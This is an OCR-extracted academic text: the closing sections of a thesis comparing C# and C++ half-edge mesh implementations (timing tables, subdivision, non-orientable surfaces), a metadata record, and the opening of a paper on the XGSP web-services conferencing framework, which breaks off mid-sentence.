algorithm is completed in linear time rather than quadratic. Table 2 Comparison of Mesh Creation Times <table> <thead> <tr> <th>Vertices</th> <th>Initial (ms)</th> <th>Improved</th> </tr> </thead> <tbody> <tr> <td>64</td> <td>7</td> <td>6</td> </tr> <tr> <td>256</td> <td>30</td> <td>8</td> </tr> <tr> <td>1024</td> <td>385</td> <td>13</td> </tr> <tr> <td>4096</td> <td>5412</td> <td>40</td> </tr> </tbody> </table> A. Subdivision Next we will compare the results of the subdivision algorithm being used in the two C# implementations, both use loop subdivision which allows us to compare the two on the basis of their implementations. For this comparison four spheres will again be used this time 64, 144, 256, and 400 vertices. Table 3 Comparison of Subdivision Times <table> <thead> <tr> <th>Vertices (before)</th> <th>Vertices (after)</th> <th>Initial (ms)</th> <th>Improved (ms)</th> </tr> </thead> <tbody> <tr> <td>64</td> <td>270</td> <td>25.5166</td> <td>14.4952</td> </tr> <tr> <td>144</td> <td>598</td> <td>101.8767</td> <td>16.1378</td> </tr> <tr> <td>256</td> <td>1054</td> <td>291.7180</td> <td>18.9798</td> </tr> <tr> <td>400</td> <td>1638</td> <td>701.2819</td> <td>22.9138</td> </tr> </tbody> </table> The improved implementation offers an extreme time cost savings over the initial implementation due to its linear running time as opposed to the quadratic running time of the initial implementation. Table 4 shows that the new implementation also offers a significant speed up over the C++ implementations, the speed up factor is in some cases as high as 3.47. ### Table 4 Comparison of Subdivision Times <table> <thead> <tr> <th>File Name</th> <th>C++ (ms)</th> <th>C# (ms)</th> <th>Speed Up</th> </tr> </thead> <tbody> <tr> <td>eyespline</td> <td>51.93</td> <td>14.92</td> <td>3.47</td> </tr> <tr> <td>Lattice_10_8_3</td> <td>2436</td> <td>1072</td> <td>2.26</td> </tr> <tr> <td>Mobius_16_16</td> <td>902.6</td> <td>321.5</td> <td>2.81</td> </tr> <tr> <td>polyhedron</td> <td>203.6</td> <td>60.88</td> <td>3.23</td> </tr> <tr> <td>Tree3</td> <td>260.6</td> <td>76.83</td> <td>3.39</td> </tr> </tbody> </table> #### B. Tube Creation In the previous two sections comparisons were being made to an unfinished implementation and largely the improvement was due to improvements in the implementation rather than improvements in the data structure. For this section a comparison between a finished implementation and the improved version being presented will be made. This comparison is to ensure that the new version is at least as good as the previous version which would show that the new version is an acceptable alternative that runs using C# and can be easily modified and used (as shown previously). For this section five directed graphs are used, each one goes through the entire process in each application and the total time to completion will be compared. Additionally both resulting tube structures will be shown in an effort to prove the efficacy of the improved implementation. Table 5 shows the speed up offered by this new implementation in the creation of the tube structures. The newer implementation offers as much as 7x speed up over the C++ implementation. Table 5 Comparison of Tube Creation Times <table> <thead> <tr> <th>File Name</th> <th>C++ (ms)</th> <th>C# (ms)</th> <th>Speed Up</th> </tr> </thead> <tbody> <tr> <td>eyespline</td> <td>68.62</td> <td>9.540</td> <td>7.193</td> </tr> <tr> <td>Lattice 10_8_3</td> <td>3231</td> <td>654.3</td> <td>4.939</td> </tr> <tr> <td>Mobius 16_16</td> <td>1354</td> <td>221.8</td> <td>6.104</td> </tr> <tr> <td>polyhedron</td> <td>320.5</td> <td>47.09</td> <td>6.805</td> </tr> <tr> <td>Tree3</td> <td>255.9</td> <td>49.89</td> <td>5.130</td> </tr> </tbody> </table> C. Non-Orientable Surfaces The final improvement over previous attempts is that the proposed implementation has support for non-orientable surfaces such as the Mobius strip, the Klein bottle, and any other constructed surface that does not have neighboring faces with the same orientation. This section will present each of these types of surface as well as the result of these surfaces after subdivision. The purpose of showing these surfaces after subdivision is so that it can be seen that the faces stay connected and can reference each other (if they were not connected the subdivision algorithm would shrink them apart in a way similar to what will be seen at the edges of the surface. Figure 13 shows the original surface with no culling and figure 14 shows counter clockwise culling, this is done to show which faces are oriented in which directions. Loop subdivision is performed and the results are shown in figures 15 and 16, as you can see all of the connections remain indicating that the components of subdivision (including the data structure) do not break when using non-orientable surfaces. Figures 17-20 are included to further demonstrate this achievement; additionally, for each surface the data structure was checked to ensure that it was valid and connected as it should be. D. Evaluation of proposed Data Structure In this section the data structure being proposed will be compared to the alternative implementations that are currently in use, namely CGAL and OpenMesh. They will be compared on the basis of the access, modification, operations, parameterization, and input/output. The first criterion is access, this metric has many simple aspects such as access of vertices, edges, and faces which are the basic elements and many other complex aspects. First we look at the simple, each data structure has references to lists of vertices, edges, and faces. In this regard there is no advantage that could not easily be corrected by adding an additional reference that is not present. The advantage lies in the complex aspects of the access metric; the proposed data structure allows for the quick access to boundary edges using the unlinked half-edge hash-table. A second advantage lies in the ease of use of the circulator in the new implementation which uses an enumerator to make the access much more natural and simple. The next criterion is modification, which relates to the ease and ability to modify the mesh by adding and removing elements. The requirements of a half-edge data structure is that after any modification by the user, the data structure remain consistent. Each of the three data structures allow for the addition and removal of faces and vertices and each guarantees that the mesh stay consistent after the operations. Each data structure has roughly the same ability to modify the mesh so while there is no improvement here, there is no degradation either. The most important criterion is the ability to perform necessary operations on the mesh, it is here that a great deal of improvement over the initial C# implementation was done. This metric contains such operations as half-edge collapse, face collapse, and other simplification methods that should be included in the data structure. For the proposed data structure the important simplification methods were included, but time limitations meant that only some could be implemented. More importantly thought the ability to create a convex hull in the half-edge data structure and the ability to perform subdivision were included. These are necessary parts of the application being improved upon and as such were implemented first and carefully. So every necessary operation is included but not every available operation, for this reason CGAL and OpenMesh are still better alternatives in some applications per this metric. The next criterion is parameterization, which relates to storing necessary additional data inside each vertex/edge/face. It is here where CGAL offers a much better alternative using template classes for additional robustness. However the proposed application needs only to store certain variables for its completion and these can be added prior to compilation time in order to accomplish this goal. In the future it will be valuable to add these aspects but for now the data structure offers enough to complete the process. The final criterion is input/output which means that the mesh should be easily converted and stored to many file types. This data structure allows for one to save only to an .off file, but allows for reading from file types such as .tub, .gr, and .off. For this reason the data structure again meets the criteria to be a half-edge data structure and offers some benefits above the default implementation of CGAL and OpenMesh. VII. Recommendations A. Convex Hull Creation As mentioned, the convex hull that is created is a special case in which all of the points are on the same sphere. It should also be restated that the convex hull construction is the most expensive method in the implementation and has, by itself, a quadratic time complexity. More research should be done into determining if the special case for the convex hull allows for a simpler method to be used. Even if no such method can be found there are faster convex hull methods than the current implementation; the incremental method was chosen for its simplicity and the ability to see the construction of the convex hull as it occurs. A new method should be implemented in which the goal is speed rather than simplicity. B. Texture Assignment Video games require texturing for visual quality; a simple mesh lacks the visual effect afforded through the use of texturing. It may be valuable to find a way to programmatically texture or color the given mesh. VIII. LIST OF REFERENCES Kobbelt, Mario Botsch; Mark Pauly; Christian Rössl; Stephen Bischoff; Leif. Geometric Modeling Based on Triangle Meshes. IX. CURRICULUM VITAE NAME: Richard Paris ADDRESS: 1706 Tempest Way Louisville, Kentucky 40216 EDUCATION: B.S. Computer Engineering & Computer Science University of Louisville 2012 B.S. Electrical & Computer Engineering University of Louisville 2013
{"Source-Url": "https://ir.library.louisville.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=2093&context=etd", "len_cl100k_base": 14780, "olmocr-version": "0.1.50", "pdf-total-pages": 75, "total-fallback-pages": 0, "total-input-tokens": 118501, "total-output-tokens": 17889, "length": "2e13", "weborganizer": {"__label__adult": 0.0004763603210449219, "__label__art_design": 0.0015354156494140625, "__label__crime_law": 0.00041961669921875, "__label__education_jobs": 0.00374603271484375, "__label__entertainment": 0.0001475811004638672, "__label__fashion_beauty": 0.00034046173095703125, "__label__finance_business": 0.0003540515899658203, "__label__food_dining": 0.00048160552978515625, "__label__games": 0.001552581787109375, "__label__hardware": 0.0026607513427734375, "__label__health": 0.0013551712036132812, "__label__history": 0.0007610321044921875, "__label__home_hobbies": 0.0002263784408569336, "__label__industrial": 0.0010042190551757812, "__label__literature": 0.0003991127014160156, "__label__politics": 0.00029850006103515625, "__label__religion": 0.0007433891296386719, "__label__science_tech": 0.34130859375, "__label__social_life": 0.00013017654418945312, "__label__software": 0.0127716064453125, "__label__software_dev": 0.62744140625, "__label__sports_fitness": 0.0005326271057128906, "__label__transportation": 0.0008625984191894531, "__label__travel": 0.000278472900390625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 73154, 0.02336]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 73154, 0.65087]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 73154, 0.9213]], "google_gemma-3-12b-it_contains_pii": [[0, 911, false], [911, 1311, null], [1311, 1311, null], [1311, 1594, null], [1594, 2460, null], [2460, 4334, null], [4334, 6215, null], [6215, 7628, null], [7628, 8005, null], [8005, 8621, null], [8621, 9838, null], [9838, 11073, null], [11073, 12319, null], [12319, 13561, null], [13561, 14293, null], [14293, 15576, null], [15576, 16902, null], [16902, 18058, null], [18058, 19205, null], [19205, 20481, null], [20481, 21562, null], [21562, 22735, null], [22735, 24037, null], [24037, 24150, null], [24150, 25338, null], [25338, 26475, null], [26475, 27198, null], [27198, 28459, null], [28459, 29140, null], [29140, 30342, null], [30342, 31085, null], [31085, 31908, null], [31908, 32990, null], [32990, 34124, null], [34124, 35392, null], [35392, 36662, null], [36662, 36879, null], [36879, 37978, null], [37978, 39218, null], [39218, 39767, null], [39767, 41004, null], [41004, 42045, null], [42045, 43267, null], [43267, 44410, null], [44410, 45075, null], [45075, 46165, null], [46165, 47341, null], [47341, 48526, null], [48526, 49257, null], [49257, 49608, null], [49608, 50772, null], [50772, 52100, null], [52100, 53350, null], [53350, 54048, null], [54048, 55337, null], [55337, 56523, null], [56523, 57644, null], [57644, 58525, null], [58525, 59102, null], [59102, 59780, null], [59780, 60920, null], [60920, 61431, null], [61431, 62490, null], [62490, 63917, null], [63917, 65303, null], [65303, 66622, null], [66622, 67072, null], [67072, 67072, null], [67072, 67662, null], [67662, 68971, null], [68971, 70131, null], [70131, 70557, null], [70557, 71561, null], [71561, 72831, null], [72831, 73154, null]], "google_gemma-3-12b-it_is_public_document": [[0, 911, true], [911, 1311, null], [1311, 1311, null], [1311, 1594, null], [1594, 2460, null], [2460, 4334, null], [4334, 6215, null], [6215, 7628, null], [7628, 8005, null], [8005, 8621, null], [8621, 9838, null], [9838, 11073, null], [11073, 12319, null], [12319, 13561, null], [13561, 14293, null], [14293, 15576, null], [15576, 16902, null], [16902, 18058, null], [18058, 19205, null], [19205, 20481, null], [20481, 21562, null], [21562, 22735, null], [22735, 24037, null], [24037, 24150, null], [24150, 25338, null], [25338, 26475, null], [26475, 27198, null], [27198, 28459, null], [28459, 29140, null], [29140, 30342, null], [30342, 31085, null], [31085, 31908, null], [31908, 32990, null], [32990, 34124, null], [34124, 35392, null], [35392, 36662, null], [36662, 36879, null], [36879, 37978, null], [37978, 39218, null], [39218, 39767, null], [39767, 41004, null], [41004, 42045, null], [42045, 43267, null], [43267, 44410, null], [44410, 45075, null], [45075, 46165, null], [46165, 47341, null], [47341, 48526, null], [48526, 49257, null], [49257, 49608, null], [49608, 50772, null], [50772, 52100, null], [52100, 53350, null], [53350, 54048, null], [54048, 55337, null], [55337, 56523, null], [56523, 57644, null], [57644, 58525, null], [58525, 59102, null], [59102, 59780, null], [59780, 60920, null], [60920, 61431, null], [61431, 62490, null], [62490, 63917, null], [63917, 65303, null], [65303, 66622, null], [66622, 67072, null], [67072, 67072, null], [67072, 67662, null], [67662, 68971, null], [68971, 70131, null], [70131, 70557, null], [70557, 71561, null], [71561, 72831, null], [72831, 73154, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 73154, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 73154, null]], "pdf_page_numbers": [[0, 911, 1], [911, 1311, 2], [1311, 1311, 3], [1311, 1594, 4], [1594, 2460, 5], [2460, 4334, 6], [4334, 6215, 7], [6215, 7628, 8], [7628, 8005, 9], [8005, 8621, 10], [8621, 9838, 11], [9838, 11073, 12], [11073, 12319, 13], [12319, 13561, 14], [13561, 14293, 15], [14293, 15576, 16], [15576, 16902, 17], [16902, 18058, 18], [18058, 19205, 19], [19205, 20481, 20], [20481, 21562, 21], [21562, 22735, 22], [22735, 24037, 23], [24037, 24150, 24], [24150, 25338, 25], [25338, 26475, 26], [26475, 27198, 27], [27198, 28459, 28], [28459, 29140, 29], [29140, 30342, 30], [30342, 31085, 31], [31085, 31908, 32], [31908, 32990, 33], [32990, 34124, 34], [34124, 35392, 35], [35392, 36662, 36], [36662, 36879, 37], [36879, 37978, 38], [37978, 39218, 39], [39218, 39767, 40], [39767, 41004, 41], [41004, 42045, 42], [42045, 43267, 43], [43267, 44410, 44], [44410, 45075, 45], [45075, 46165, 46], [46165, 47341, 47], [47341, 48526, 48], [48526, 49257, 49], [49257, 49608, 50], [49608, 50772, 51], [50772, 52100, 52], [52100, 53350, 53], [53350, 54048, 54], [54048, 55337, 55], [55337, 56523, 56], [56523, 57644, 57], [57644, 58525, 58], [58525, 59102, 59], [59102, 59780, 60], [59780, 60920, 61], [60920, 61431, 62], [61431, 62490, 63], [62490, 63917, 64], [63917, 65303, 65], [65303, 66622, 66], [66622, 67072, 67], [67072, 67072, 68], [67072, 67662, 69], [67662, 68971, 70], [68971, 70131, 71], [70131, 70557, 72], [70557, 71561, 73], [71561, 72831, 74], [72831, 73154, 75]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 73154, 0.06299]]}
olmocr_science_pdfs
2024-11-27
2024-11-27
2fbe2f5c5eb2644a97f0521c3b4fbe4728b40f12
Design and Implementation of a Collaboration Web-Services System Wenjun Wu Indiana University, Community Grid Labs Geoffrey C. Fox Indiana University, Community Grid Labs Hasan Bulut Indiana University, Community Grid Labs Ahmet Uyar Syracuse University, Department of Electrical Engineering and Computer Science Harun Altay Indiana University, Community Grid Labs Follow this and additional works at: https://surface.syr.edu/eecs Recommended Citation https://surface.syr.edu/eecs/91 This Article is brought to you for free and open access by the College of Engineering and Computer Science at SURFACE. It has been accepted for inclusion in Electrical Engineering and Computer Science by an authorized administrator of SURFACE. For more information, please contact surface@syr.edu. Design and Implementation of a collaboration Web-services system Wenjun Wu1 Geoffrey Fox1 Hasan Bulut1 Ahmet Uyar2 Harun Altay1 1Community Grid Computing Laboratory, Indiana University Indiana Univ Research Park, 501 North Morton Street, Suite 222, Bloomington, IN47404 2Department of Electrical Engineering and Computer Science, Syracuse University Abstract Conference control has been studied for years but most researches focus on homogenous collaboration. There is no conference control framework for integration of multiple collaboration systems such as H.323, SIP and AccessGrid. In this paper we present a web-services based scalable conference control framework for such a heterogeneous collaboration system. Based on this framework, we implemented a prototype system to verify and refine our framework. This system can support various conferencing endpoints and communities. Keywords Web-Services, Collaboration, Global-MMCS, XGSP, NaradaBrokering 1. Introduction Collaboration and videoconferencing systems have become a very important application in the Internet. There are various solutions to such multimedia communication applications, among which H.323 [1], SIP [2], and Access Grid [3] are well-known. It will bring substantial benefits to Internet users if we can build an integrated collaboration environment, which combines these systems into a single easy-to-use, intuitive environment. However, at present they have features that sometimes can be compared but often they make implicit architecture and implementation assumptions that hamper interoperability and functionality. Therefore it is very important to create a more general framework to cover the wide range of collaboration solutions and enable users from different communities to collaborate. In this paper, we present such a common, interoperable framework based on Web services technology for creating and controlling multipoint video & audio collaborations. And we also introduce the implementation of the collaboration system based on this framework. The paper is organized in the following way: Section 2 introduces related work and our research issues. Section 3 describes the XGSP (XML based General Session Protocol) conference control framework. Section 4 presents the implementation of Global Multimedia Collaboration System (Global MMCS). And we give the conclusion and future work in section 5. 2. Related Work and Problem Statement The multimedia collaboration framework has been studied over years. The well-known solutions have H.323, SIP and IETF MMUSIC [4]. The IETF's Multi-Party Multimedia (MMUSIC) working group proposed its own solution SCCP (Simple Conference Control Protocol) [5]. However, its main target was lightweight conference management for multicast instead of tightly controlled models. Because multicast can’t be deployed widely in the Internet in near future, in the year 2000 MMUSIC WG gave up and removed conference control from the WG charter. The project Access Grid started from the MBONE tools: VIC and RAT, and is also trying to define its own conference control framework rather than SCCP. H.323 is a communication standard produced by the ITU, initiated in late 1996, and aimed at the emerging area of multimedia communication over LANs. It is an outgrowth of the traditional H.320 technology but optimized instead for the Internet. H.323 is widely supported by many commercial vendors and used throughout the world in commercial and educational markets. H.323 is defined as an umbrella standard specifying the components to be used within an H.323-based environment. It provides conference management functionality for audio/video conferences using the call signaling functionality of H.225 [6], H.245 [7]. These protocols provide call set-up and call transfer of real-time connections to support small-scale multipoint conferences. The protocol H.243 [8] concerns the system operation for a conference call between three or more audiovisual terminals. It defines some commands between the MCU and H.320 terminals to implement audio mixing, video switch and cascading MCU. H.243 commands have been included in H.245. For the data part of a conference, the conference management of the T.120 recommendation [9] is used. This standard contains a series of communication and application protocols and services that provide support for real-time, multi-point data communications. The multi-point facilities are important building blocks for a whole new range of collaborative applications including desktop data conferencing, multi-user applications, and multi-player gaming. The Session Initiation Protocol (SIP) defines how to establish, maintain and terminate Internet sessions including multimedia conferences. Initially SIP was designed to solve problems for IP telephony. To this end, SIP provides basic functions including: user location resolution, capability negotiation, and call management. All the capabilities are basically equivalent to the service H.225 and H.245 in H.323 protocol. The major difference is that SIP was designed in a text format and took request-response protocol style like HTTP. But H.225 and H.245 were defined in a binary format and kept a style of OSI (Open System Interconnection). Therefore SIP has some advantages of interaction with web protocols like HTTP in VoIP industry. More importantly, SIP doesn't define the conference control procedure like H.243 and T.120. Additional conference control mechanisms have to be implemented on the base of SIP to support the A/V and data collaboration. Recently SIP research group begun to develop their framework and produced a few drafts [9,10]. But SIP work is still in the beginning phase and has not been widely accepted. Figure 1 compares the H.323, T.120 and SIP protocol stacks. T.120 defines very complete framework for general data conferencing. At the bottom of the T.120 protocol stack, T.122 [11] defines the multi-point services available to the developer, while T.125 [12] specifies the data transmission protocol. Together they form MCS (Multipoint Communication Service) which become an “overlay” network for any multi-point application. Based on this “overlay” multipoint communication network, T.124 [13] (Generic Conference Control) provides a comprehensive set of facilities for establishing and managing the multi-point conference. It maintains the state information about the nodes and applications that are in a conference. Using mechanisms in T.124, applications create conferences, join conferences, and invite others to conferences. T.126 [14] and T.127 [15] are whiteboard application and multipoint file transfer application based on T.124. For the tightly coupled conferencing, T.120 provides a good general architecture which clearly defines the functions and services of each layer. And it should be able to support many collaboration application including audio and video. However in H.323, T.120 is completely independent of H.225 and H.245. In fact, A/V and data collaborations should be integrated in the same framework so that the architecture can be easily implemented and maintained. To build more advanced and integrated collaboration systems, neither H.323/T.120 nor SIP is sufficient: 1. SIP has very limited support for conference control. 2. In H.323 framework, A/V collaboration and T.120 are not well integrated. Moreover, the A/V communication services and T.122 overlay networks don’t have very good scalability. 3. H.323 and T.120 are designed in a relative complicated OSI model. It is not easy to understand and develop in their APIs. 4. All these frameworks only deal with homogenous video conferencing and can’t connect to other collaboration systems. Recently, many new technologies in the Internet such as XML, SOAP, Web-Service, Publish/Subscribe messaging as well as peer-to-peer computing have emerged and started to change the Internet applications. These new technologies enable the new architecture for collaboration systems: 1. A unified, scalable, robust “overlay” network is needed to support A/V and data group communication over heterogeneous networking environments. Centralized conferencing systems usually depend upon a single conference server for group communication purpose. Distributed conferencing systems take IP multicast. For example Access Grid uses Internet2 multicast for audio/video transmission. Both of the services have some limitations. Centralized conferencing systems don’t have good scalability. And it is not easy to deploy distributed conferencing systems on current Internet because IP multicast has not become ubiquitously available. Therefore such an overlay will fundamentally solve the issue of scalability and deployment under the Internet environment. 2. A common A/V signaling protocol has to be designed to support interactions between different A/V collaboration endpoints. For example, in order to get the H.323, SIP and MBONE endpoints to work in the same A/V session, we have to translate their signaling procedures into our common procedure and build the collaboration session. Just like the text messages in SIP, XML should be used to describe the common signaling protocol because it makes the protocol easier to be understood and to interact with other Web based components. 3. A core conference control mechanism is required for establishing and managing the multi-point conference. The service of this part is quite like T.124 (Generic Conference Control). However this mechanism will provide more flexible facilities to describe application sessions and entities. And it can be designed in a more scalable approach based on the powerful publish/subscribe messaging services. All the description information for the applications and sessions can be kept in XML format rather than binary format, which will lead to easier development. Furthermore most control messages can be transferred through messaging middleware rather than central servers and the most session information can be distributed in all the participating nodes. 4. Finally, we’d like to use web-services to integrate collaboration communities in different technologies. Various collaboration systems including Access Grid, H.323 and SIP should be regarded as Web-services components and provide Web-services interface of their conference control protocols to the core conference control components. They can invoke these services to build an integrated community-to-community conference across the communities. There have been some projects like VRVS [16] that can also provide some kind of integration of different A/V endpoints. But VRVS is not an open project having few documents for their architecture and conference control framework. From the introduction in its web site, we can make some comments: VRVS builds its collaboration service on top of pure-software reflector infrastructure which is a kind of software multicast. It is capable of supporting MBONE tools, H.323 terminal as well as QuickTime player. It also supports some data sharing collaborations, like shared web browsing and shared desktop (VNC). However it doesn’t seem to have floor control mechanism, support community-to-community collaboration as well as many important data collaborations. The following table gives a comparison between XGSP and other frameworks. Although the SIP and Access Grid are trying to add the conference control mechanism, their frameworks haven’t been well defined. So we make this comparison according to the current capabilities of their systems. <table> <thead> <tr> <th>Conference Management</th> <th>H.323, T.120</th> <th>SIP</th> <th>IETF Access Grid</th> <th>VRVS</th> <th>XGSP</th> </tr> </thead> <tbody> <tr> <td></td> <td>supported</td> <td></td> <td>supported</td> <td>supported</td> <td>supported</td> </tr> <tr> <td></td> <td>No</td> <td></td> <td></td> <td></td> <td></td> </tr> </tbody> </table> ### Table 1 Comparison of XGSP with Competitive Framework <table> <thead> <tr> <th>Overlay Network Environment</th> <th>Data Collaboration</th> <th>Floor Control Mechanism</th> <th>Scalability</th> <th>Support heterogeneous clients</th> <th>Community-To-Community Collaboration</th> </tr> </thead> <tbody> <tr> <td>Internet / ISDN Firewall transversal under the support of VPN</td> <td>Limited: T.120 whiteboard, File FTP</td> <td>H.243 T.120 (Under development)</td> <td>Not good</td> <td>No</td> <td>No</td> </tr> <tr> <td>High performance with multicast support, No firewall tunneling</td> <td>Limited to (PowerPoint, Chat)</td> <td>No</td> <td>Good</td> <td>No</td> <td>No</td> </tr> <tr> <td>Reflecter Infrastructure Software Multicast</td> <td>Limited to (Shared browsing and VNC)</td> <td>No</td> <td>Good</td> <td>No</td> <td>No</td> </tr> <tr> <td>Publish/Subscribe with Firewall transversal (VPN optional)</td> <td>allows full integration of all tools</td> <td>No</td> <td>Good</td> <td>H.323, MBONE</td> <td>Yes</td> </tr> </tbody> </table> #### 3. XGSP Design ##### 3.1 XGSP Architecture In our XGSP framework, we use the messaging middleware for the “overlay” over heterogeneous networks to support publish/subscribe communications. NaradaBrokering [17] from the Community Grid Labs is adapted as a general event brokering middleware, which supports publish-subscribe messaging models with a dynamic collection of brokers and provide services for TCP, UDP, Multicast, SSL and raw RTP clients. Also NaradaBrokering provides the capability of the communication through firewalls and proxies. It can operate either in a client-server mode like JMS or in a completely distributed JXTA-like peer-to-peer mode. JMS API is very good for developing scalable collaboration applications. The publish/subscribe interaction paradigm make it possible to build a peer-to-peer and loosely coupled distributed system. And publish/subscribe topics, which represent keywords for publisher and subscriber, can be used to describe hierarchy and complicated collaboration groups. Built upon the service, one of the important issues for XGSP is the organization of the topic name space for conference control purpose. It will be introduced in Sec 3.3. Figure 2 shows the important components in XGSP framework: The conference manager is the server keeping the important information for all the conferences. Through the manager, users can create a new conference or terminate an old one. The meta-data repositories in the conference manager includes: a conference description set, application registry set as well as user accounts. The conference description set contains the registries of all the scheduled conferences. Each conference registry includes the fields: Conference ID, Conference Name, Conference Mode, Conference Time, and Available Application Session Templates. The application registry set has all the registries of the collaboration application such as A/V, chat and whiteboard. An application registry usually contains the entries like application identification, role systems definition as well as specific attributes. A node manager is the user interface for the XGSP conference management service in each user. An application instance refers to a client of the collaboration applications. Because a node manager has the factories for all kinds of applications, it can create new application instances, and invoke start, stop, and set-role methods in them. The XGSP conference control includes three services: conference management, application session management and floor control. The conference management supports user sign-in, user create/terminate/join/leave/invite-into XGSP conferences. The application session management provides users with the service for creating/terminating application sessions. And the floor control manages the access to shared collaboration resources in different application sessions. Through Section 3.2 to 3.4, we discuss them in detail. And an example is presented in Appendix A. 3.2 XGSP Conference Management These services have the methods of Create / Modify / Terminate Conference, allowing users to make meeting schedules and look up active meetings. (1) Conference Schedule The conference manager offers a meeting calendar object listing all the meetings requested by users. It can be easily implemented in web pages. Users can make meeting reservations via their browsers or emails. The conference manager can approve or deny the requests of the users according to the capability of conference servers. Each conference schedule record keeps the description of the conference, including the starting and end time. The conference manager will activate the conference at the starting time and de-activate it at the ending time. Some persistent conferences which have permanent schedule records have to be supported for the purpose of testing and management. A user can have two ways to know how many meetings have been scheduled and active. He can either search the web conference calendar or send a query message to the conference manager. (2) Users in a XGSP Conference After the XGSP conference is activated, XGSP users can join this conference by starting their node managers. XGSP users can be divided into three categories: administrator, conference chairman and normal users. The administrator user is a very special user which can be regarded as a super user in the system. A chairman user usually has the power of creating application sessions and setting the roles of users in the conference. (3) XGSP Conference membership maintenance The session membership containing a list of the participants is shared by all the participants. Whenever there is some change in the membership, for example a new member joins in the session, the membership has to be updated and distributed to all the participants. Users can send Join/Leave/InviteIntoConference messages to change the conference membership. Whenever there is a change in the membership, a membership event is generated and broadcasted to all the participants and the conference manager. Late-joining users have to send Request Membership messages to the manager server to get the whole view of the membership. Each user sends heart-beat messages during some period to all the peers in the conference. In this way, we implement a soft-state mechanism for the membership maintenance. Each conference has a particular NaradaBroker topic for the control purpose. The topic name takes the form of “/xgsp/conferenceID/ctrl”, in which conferenceID is the string identification for the conference. 3.3 XGSP Application Session Management Application sessions refer to the groups of the collaboration application. Note that various collaboration applications may have quite different architectures even based on the same NaradaBroker messaging service. A shared-input port collaboration model is the peer-to-peer communication style without any centralized components, whereas a share-output port model needs some servers [18]. The XGSP application session management doesn’t make any assumption about how the applications are organized, but to support the core services for all kinds of applications. (1) Different Application sessions in XGSP There are three types of application sessions: public application sessions and private application session. A public session is open to all the users in the conference. All the participants in the conference can join the public application sessions. A private session is not open to all the users in the conference. Only invited users can join. Default public application sessions refer to the sessions pre-defined in the conference description. For example, each XGSP conference usually has a default public A/V group and a public chat group. A non-default public application session has to be created by the conference chairman. The conference chairman can set the roles of the users in this public application session. He will terminate the application session when the session is over. A private application session can be created by any member in the conference for private purpose. A user can join the private session only after he receives and accepts the invitation from the session initiator. The initiator user who is the conference chairman in the private session has the power of setting roles and closing the session. (2) Topic name schema for application sessions Each application session should have its own topic name space inside NaradaBrokering. We can define the naming schema: /xgsp/conferenceID/Application-Session-ID. The conferenceID field is generated by the conference manager and determined when the conference is activated. The Application-Session-ID field is generated when the application session is created. This field can have three kinds of forms: the default public session can use the application type identification like av, chat, whiteboard. The public application sessions take the format of < application type, sequence number >. The sequence number represents the last number of the application sessions. The private application sessions can be < application type, initiator-ID, sequence number>. In the following, we give a few examples: suppose the conference named ourtestroom is created. And it has two default public sessions with the topic names: /xgsp/ourtestroom/av and /xgsp/ourtestroom/chat. If the chairman in the conference creates two whiteboard sessions, their topic names should be: /xgsp/ourtestroom/whiteboard-0, /xgsp/ourtestroom/whiteboard-1. For a private whiteboard session initiated by the user with the user ID: “testuser”, its topic name should be /xgsp/ourtestroom/whiteboard-testuser-0. (3) Procedures in creating and terminating application sessions The procedures involve the node managers and the conference managers. Each node manager keeps a directory of the application sessions. It shows all the public sessions and visible private application sessions to users. The node manager of the chairman user in the conference can send a “Create Application Session” message to all the node managers in the conference. Each node manager adds the application session information in this message into a local session directory. When the session is over, the chair node manager will send the message of “Terminate Application Session” to all the node managers. They will close the application instances which are active in the session and remove the session information from the local session directories. Private sessions are created in the similar way like public sessions. Suppose a user A wants to create a private chat session. His node manager will send a “Create Application Session” message with the private flag set to all the node managers. Although it is written by each node manager into the local session directory, it will not be visible to users until the node manager receives an “Invite Into Application Session” from user A manager. The conference manager monitors the life-cycles of the sessions. If the session has a session server, the manager commands the application session servers to work for the management of the session. Section 3.5 presents a detailed description how A/V application sessions are handled. (4) Join/Leave Application Session The application session directory is showed in the UI of the node manager. When a user wants to join this application session, he can select it from the directory. The application factories in the node manager will create an application instance and start it. During the initialization of the new application instance, the NaradaBroker topic name and the initial role are passed on to the application instance. It is up to the application instance to deal with the details of joining the application session. The private application session is only showed in the UI after the “Invite Into Application Session” message for this session arrives. If the user accepts the invitation, the node manager will send the reply to this invitation and create a new application instance. 3.4 XGSP Floor Control Conference applications often have shared resources such as the right to talk, a pointer or input focus in a shared application, access to shared lesson or game rooms. Floor control enables applications or users to gain safe and mutually exclusive or non-exclusive access to the shared object or resource. The policy of floor control usually highly depends upon the collaboration applications. Therefore it is not the job of XGSP to define the floor control policy for the applications. However, any conference can be divided into two modes: moderated and unmoderated. A moderated conference needs a chair to determine some “floors” for the collaboration applications. To support this general policy for floor control, XGSP takes a role-based approach and provides a chairman mechanism. Roles define the access right to shared collaboration resources in a very natural way. For example, in the chess game, we can have a white player, a black player and many observers. Each collaborative application defines its role system in a XML registry. A role description includes the role name and the role capability. The conference manager keeps the database of all these definition registries. It copies the database to a user node manager when the user joins the conference. The conference chairman has the right of setting the roles. It can send a “SetApplicationRole” message to the application instance running in other users. A “SetApplicationRole” message tells the conference participants which 